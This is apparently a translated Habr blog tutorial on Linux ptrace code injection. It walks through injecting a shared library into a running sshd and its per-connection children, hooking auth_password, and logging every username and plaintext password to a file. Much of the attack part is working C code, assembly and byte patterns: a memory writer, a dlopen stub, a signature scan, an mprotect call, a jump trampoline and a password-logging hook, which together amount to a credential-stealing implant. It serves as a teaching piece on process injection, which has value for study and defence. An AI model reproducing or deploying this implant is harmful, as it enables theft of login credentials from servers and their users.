📜 ⬆️ ⬇️

Introduction to ptrace or code injection in sshd for fun



The goal I set was quite simple: find out the password entered in sshd using ptrace. Of course, this is a somewhat artificial task, as there are many other, more efficient ways to achieve the desired (and with a much lower probability of getting SEGV ), however, it seemed to me cool to do just that.

What is ptrace?


Those familiar with injections in Windows probably know the functions VirtualAllocEx() , WriteProcessMemory() , ReadProcessMemory() and CreateRemoteThread() . These calls allow you to allocate memory and run threads in another process. In the linux world, the kernel provides us with ptrace , through which debuggers can interact with the running process.

Ptrace offers several useful debugging operations, for example:
')

Although this is an incomplete list of ptrace features, however, I ran into difficulties due to the lack of familiar features from Win32. For example, in Windows, you can allocate memory in another process using the VirtualAllocEx() function, which returns a pointer to the newly allocated memory. Since there is no such thing in ptrace, you have to improvise if you want to embed your code in another process.

Well, let's think about how to take control over the process using ptrace.

Basics of ptrace


The first thing we need to do is to join the process of interest to us. To do this, just call ptrace with the PTRACE_ATTACH parameter:

 ptrace(PTRACE_ATTACH, pid, NULL, NULL); 

This call is simple as a traffic jam, it takes the PID of the process we want to join. When a call occurs, a SIGSTOP signal is sent, which forces the process of interest to stop.

After joining, there is a reason to save the state of all the registers before we start changing something. This will allow us to restore the program later:

 struct user_regs_struct oldregs; ptrace(PTRACE_GETREGS, pid, NULL, &oldregs); 

Next, you need to find a place where we can write our code. The easiest way is to extract information from the maps file, which can be found in procfs for each process. For example, "/ proc / PID / maps" on the running sshd process on Ubuntu looks like this:



We need to find the memory area allocated with the right to execute (most likely “r-xp”). Immediately, as we find the area that is suitable for us, by analogy with the registers, we will save the contents in order to restore the work correctly:

 ptrace(PTRACE_PEEKTEXT, pid, addr, NULL); 

With ptrace, you can read one machine data word (32 bits per x86 or 64 bits per x86_64) at a specified address, that is, you need to make several calls to read more data by increasing the address.

Note: linux also has process_vm_readv () and process_vm_writev () for working with the address space of another process. However, in this article I will stick to using ptrace. If you want to do something of your own, it is better to read about these functions.

Now that we’ve backed up the memory we liked, we can start overwriting:

 ptrace(PTRACE_POKETEXT, pid, addr, word); 

Similar to PTRACE_PEEKTEXT, this call can only write one machine word at a time at a specified address. Also, to write more than one machine word you need a lot of calls.

After loading your code you need to transfer control to it In order not to overwrite the data in memory (for example, the stack), we will use the previously saved registers:

 struct user_regs_struct r; memcpy(&r, &oldregs, sizeof(struct user_regs_struct)); // Update RIP to point to our injected code regs.rip = addr_of_injected_code; ptrace(PTRACE_SETREGS, pid, NULL, &r); 

Finally, we can continue execution using PTRACE_CONT:

 ptrace(PTRACE_CONT, pid, NULL, NULL); 

But how do we know that our code has finished executing? We will use a software interrupt, also known as an “int 0x03” instruction, that generates SIGTRAP. We will wait for this using waitpid ():

 waitpid(pid, &status, WUNTRACED); 

waitpid () is a blocking call that will wait for the process to stop with the PID and write the reason for the stop to the status variable. Here, by the way, there are a lot of macros that will simplify life in finding out the reason for the stop.

To find out if there was a stop due to SIGTRAP (due to the int 0x03 call), we can do this:

 waitpid(pid, &status, WUNTRACED); if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) { printf("SIGTRAP received\n"); } 

At this point, our embedded code has already run and all we need is to restore the original state of the process. Restore all registers:

 ptrace(PTRACE_SETREGS, pid, NULL, &origregs); 

Then we will return the original data in memory:

 ptrace(PTRACE_POKETEXT, pid, addr, word); 

And disconnect from the process:

 ptrace(PTRACE_DETACH, pid, NULL, NULL); 

That's enough theory. Let's move on to the more interesting part.

Sshd injection


I have to warn you that there is some chance of dropping sshd, so be careful and please do not try to check it on a production system and even more so on a remote system via SSH: D

Moreover, there are several better ways to achieve the same result, I’m demonstrating this one exclusively as a fun way to show the power of ptrace (agree, this is steeper than the injection in Hello World;)

The only thing I wanted to do was get the login-password combination from running sshd when the user is authenticated. When viewing the source code, we can see something like this:

auth-passwd.c

 /* * Tries to authenticate the user using password. Returns true if * authentication succeeds. */ int auth_password(Authctxt *authctxt, const char *password) { ... } 

It looks like a great place to try to remove the username / password transmitted by the user in the clear.

We want to find the signature of the function that will allow us to find its [function] in memory. I use my favorite disassembly utility, radare2:



You must find a sequence of bytes that is unique and is found only in the auth_password function. For this we will use the search in radare2:



It so happened that the sequence xor rdx, rdx; cmp rax, 0x400 xor rdx, rdx; cmp rax, 0x400 fits our requirements and is found only once in the entire ELF file.

As a note ... If you do not have this sequence, make sure that you have the newest version, which also closes the vulnerability of the middle of 2016. (in version 7.6, such a sequence is also unique).

The next step is code injection.

Load .so into sshd


To load our code into sshd, we will make a small stub, which will allow us to call dlopen () and load the dynamic library, which will already do the auth_password substitution.

dlopen () is a call for dynamic linking, which takes in arguments the path to the dynamic library and loads it into the address space of the calling process. This function is in libdl.so, which is dynamically linked to the application.

Fortunately, in our case libdl.so is already loaded in sshd, so all we have to do is execute dlopen (). However, because of the ASLR, it is very unlikely that dlopen () will be in the same place every time, so you will have to find its address in sshd memory.

In order to find the address of a function, you need to calculate the offset - the difference between the address of the dlopen () function and the starting address of libdl.so:

 unsigned long long libdlAddr, dlopenAddr; libdlAddr = (unsigned long long)dlopen("libdl.so", RTLD_LAZY); dlopenAddr = (unsigned long long)dlsym(libdlAddr, "dlopen"); printf("Offset: %llx\n", dlopenAddr - libdlAddr); 

Now that we have calculated the offset, we need to find the starting address of libdl.so from the maps file:



By knowing the base address of libdl.so in sshd (0x7f0490a0d000, as follows from the screenshot above), we can add an offset and get the address dlopen () to call from the injection code.

All the necessary addresses will be passed through registers using PTRACE_SETREGS.

It is also necessary to write the path to the implanted library into the sshd address space, for example:

 void ptraceWrite(int pid, unsigned long long addr, void *data, int len) { long word = 0; int i = 0; for (i=0; i < len; i+=sizeof(word), word=0) { memcpy(&word, data + i, sizeof(word)); if (ptrace(PTRACE_POKETEXT, pid, addr + i, word)) == -1) { printf("[!] Error writing process memory\n"); exit(1); } } } ptraceWrite(pid, (unsigned long long)freeaddr, "/tmp/inject.so\x00", 16) 

By doing as much as possible during the preparation of the injection and loading the pointers to the arguments directly into the registers, we can make the code-injection easier. For example:

 // Update RIP to point to our code, which will be just after // our injected library name string regs.rip = (unsigned long long)freeaddr + DLOPEN_STRING_LEN + NOP_SLED_LEN; // Update RAX to point to dlopen() regs.rax = (unsigned long long)dlopenAddr; // Update RDI to point to our library name string regs.rdi = (unsigned long long)freeaddr; // Set RSI as RTLD_LAZY for the dlopen call regs.rsi = 2; // RTLD_LAZY // Update the target process registers ptrace(PTRACE_SETREGS, pid, NULL, &regs); 

That is, the code injection is quite simple:

 ; RSI set as value '2' (RTLD_LAZY) ; RDI set as char* to shared library path ; RAX contains the address of dlopen call rax int 0x03 

It is time to create our dynamic library, which will be loaded by code injection.

Before we move on, consider one important thing that will be used ... Constructor of the dynamic library.

Constructor in dynamic libraries


Dynamic libraries can execute code when loading. To do this, mark the functions with the decorator "__attribute __ ((constructor))". For example:

 #include <stdio.h> void __attribute__((constructor)) test(void) { printf("Library loaded on dlopen()\n"); } 

You can copy it with a simple command:

 gcc -o test.so --shared -fPIC test.c 

And then check the performance:

 dlopen("./test.so", RTLD_LAZY); 

When the library loads, the constructor will also be called:



We also use this functionality to make our lives easier when code is injected into the address space of another process.

Sshd dynamic library


Now that we have the ability to load our dynamic library, we need to create code that will change the behavior of auth_password () at runtime.

When our dynamic library is loaded, we can find the starting address of sshd using the file "/ proc / self / maps" in procfs. We are looking for a domain with “rx” rights in which we will search for a unique sequence in auth_password ():

 d = fopen("/proc/self/maps", "r"); while(fgets(buffer, sizeof(buffer), fd)) { if (strstr(buffer, "/sshd") && strstr(buffer, "rx")) { ptr = strtoull(buffer, NULL, 16); end = strtoull(strstr(buffer, "-")+1, NULL, 16); break; } } 

Once we have a range of addresses to search for, look for the function:

 const char *search = "\x31\xd2\x48\x3d\x00\x04\x00\x00"; while(ptr < end) { // ptr[0] == search[0] added to increase performance during searching // no point calling memcmp if the first byte doesn't match our signature. if (ptr[0] == search[0] && memcmp(ptr, search, 9) == 0) { break; } ptr++; } 

When we have a match, you need to use mprotect () to change the permissions on the memory area. This is all because the memory area is available for reading and execution, and for changes on the go, write rights are required:

 mprotect((void*)(((unsigned long long)ptr / 4096) * 4096), 4096*2, PROT_READ | PROT_WRITE | PROT_EXEC) 

Great, we have the right to write to the desired memory area and now it is time to add a small springboard at the beginning of the auth_password function, which will transfer control to the hook:

 char jmphook[] = "\x48\xb8\x48\x47\x46\x45\x44\x43\x42\x41\xff\xe0"; 

This is equivalent to this code:

 mov rax, 0x4142434445464748 jmp rax 

Of course, the address 0x4142434445464748 is not suitable for us and it will be replaced with the address of our hook:

 *(unsigned long long *)((char*)jmphook+2) = &passwd_hook; 

Now we can just insert our springboard into sshd. To make the injection beautiful and clean, we insert the springboard at the very beginning of the function:

 // Step back to the start of the function, which is 32 bytes // before our signature ptr -= 32; memcpy(ptr, jmphook, sizeof(jmphook)); 

Now we need to implement a hook that will log the data passing through. We must be sure to save all registers before the hook and restore it before returning to the original code:

Hook source code
 // Remember the prolog: push rbp; mov rbp, rsp; // that takes place when entering this function void passwd_hook(void *arg1, char *password) { // We want to store our registers for later asm("push %rsi\n" "push %rdi\n" "push %rax\n" "push %rbx\n" "push %rcx\n" "push %rdx\n" "push %r8\n" "push %r9\n" "push %r10\n" "push %r11\n" "push %r12\n" "push %rbp\n" "push %rsp\n" ); // Our code here, is used to store the username and password char buffer[1024]; int log = open(PASSWORD_LOCATION, O_CREAT | O_RDWR | O_APPEND); // Note: The magic offset of "arg1 + 32" contains a pointer to // the username from the passed argument. snprintf(buffer, sizeof(buffer), "Password entered: [%s] %s\n", *(void **)(arg1 + 32), password); write(log, buffer, strlen(buffer)); close(log); asm("pop %rsp\n" "pop %rbp\n" "pop %r12\n" "pop %r11\n" "pop %r10\n" "pop %r9\n" "pop %r8\n" "pop %rdx\n" "pop %rcx\n" "pop %rbx\n" "pop %rax\n" "pop %rdi\n" "pop %rsi\n" ); // Recover from the function prologue asm("mov %rbp, %rsp\n" "pop %rbp\n" ); ... 


Well, that's all ... in a sense ...

Unfortunately, after all that has been done, this is not all. Even if the code injection into sshd was successful, you can see that the user passwords you are looking for are still not available. This is due to the fact that sshd for each connection creates a new child. It is the new child that handles the connection and it is in it that we must install the hook.

To be sure that we are working with sshd children, I decided to scan procfs for stats files that specify the Parent PID sshd. As soon as such a process is found, the injector is launched for it.

This even has its advantages. If everything does not go according to plan and the code-injection falls from SIGSEGV, only the process of one user will be killed, but not the parent process of sshd. Not the biggest consolation, but it clearly makes debugging easier.

Injection in action


Ok, let's see the demo:



The full code can be found here .

I hope this trip gave you enough information to push ptrace on your own.

I want to thank the following people and sites that helped deal with ptrace:

Source: https://habr.com/ru/post/430302/


All Articles